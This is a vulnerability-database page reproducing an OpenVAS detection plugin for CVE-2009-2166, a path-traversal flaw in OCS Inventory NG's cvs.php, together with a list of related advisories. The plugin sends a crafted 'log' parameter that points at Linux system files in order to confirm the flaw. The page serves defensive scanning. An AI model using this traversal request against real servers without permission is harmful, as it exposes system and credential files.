OCS Inventory NG < 1.02.1 Information Disclosure Vulnerability - Active Check
🗓️ 26 Jun 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType
openvas🔗 plugins.openvas.org👁 18 Views
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2009-2166 | 22 Jun 200920:30 | – | attackerkb | |
| CVE-2009-2166 | 3 Jun 200900:00 | – | circl | |
| CVE-2009-2166 | 22 Jun 200920:00 | – | cve | |
| CVE-2009-2166 | 22 Jun 200920:00 | – | cvelist | |
| CVE-2009-2166 | 22 Jun 200920:00 | – | debiancve | |
| OCS Inventory NG 1.02 - Remote File Disclosure | 3 Jun 200900:00 | – | exploitdb | |
| EUVD-2009-2162 | 7 Oct 202500:30 | – | euvd | |
| CVE-2009-2166 | 22 Jun 200920:30 | – | nvd | |
| DEBIAN-CVE-2009-2166 | 22 Jun 200920:30 | – | osv | |
| UBUNTU-CVE-2009-2166 | 22 Jun 200920:30 | – | osv |
10
| Source | Link |
|---|---|
| xforce | www.xforce.iss.net/xforce/xfdb/50946 |
| milw0rm | www.milw0rm.com/exploits/8868 |
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:ocsinventory-ng:ocs_inventory_ng";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.900378");
script_version("2026-05-08T16:04:57+0000");
script_tag(name:"last_modification", value:"2026-05-08 16:04:57 +0000 (Fri, 08 May 2026)");
script_tag(name:"creation_date", value:"2009-06-26 07:55:21 +0200 (Fri, 26 Jun 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2009-2166");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
script_name("OCS Inventory NG < 1.02.1 Information Disclosure Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2009 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_ocs_inventory_http_detect.nasl");
script_require_ports("Services/www", 443);
script_mandatory_keys("ocs_inventory/http/detected");
script_tag(name:"summary", value:"OCS Inventory NG is prone to an information disclosure
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"insight", value:"The flaw is due to improper sanitization of user supplied input
through the 'cvs.php' file which can exploited by sending a direct request to the 'log'
parameter.");
script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause path
traversal attack, and gain sensitive information.");
script_tag(name:"affected", value:"OCS Inventory NG prior to version 1.02.1.");
script_tag(name:"solution", value:"Update to version 1.02.1 or later.");
script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/8868");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/50946");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("os_func.inc");
include("traversal_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
files = traversal_files("linux");
foreach file (keys(files)) {
url = dir + "/cvs.php?log=/" + files[file];
if (http_vuln_check(port: port, url: url, pattern: file)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03195